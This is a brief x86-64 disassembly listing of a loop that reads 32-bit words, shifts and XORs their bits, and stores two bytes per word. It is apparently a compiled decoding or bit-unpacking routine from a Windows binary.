mov r11, rdx
sub r11, rcx
add r11, 3
shr r11, 2
cmp rcx, rdx
cmova r11, r10
test r11, r11
je 0x140092e05
nop word [rax + rax]
mov edx, dword [r9]
inc r10
lea r8, [r8 + 2]
mov ecx, edx
mov eax, edx
lea r9, [r9 + 4]
shr ecx, 0x10
shr eax, 0xd
xor cl, al
mov eax, edx
and cl, 7
shr eax, 0x10
xor cl, al
mov eax, edx
mov byte [r8 - 2], cl
mov ecx, edx
shr eax, 3
shr ecx, 5
shr edx, 5
xor cl, al
and cl, 0x1f
xor cl, dl
mov byte [r8 - 1], cl
cmp r10, r11
jb 0x140092dc0
ret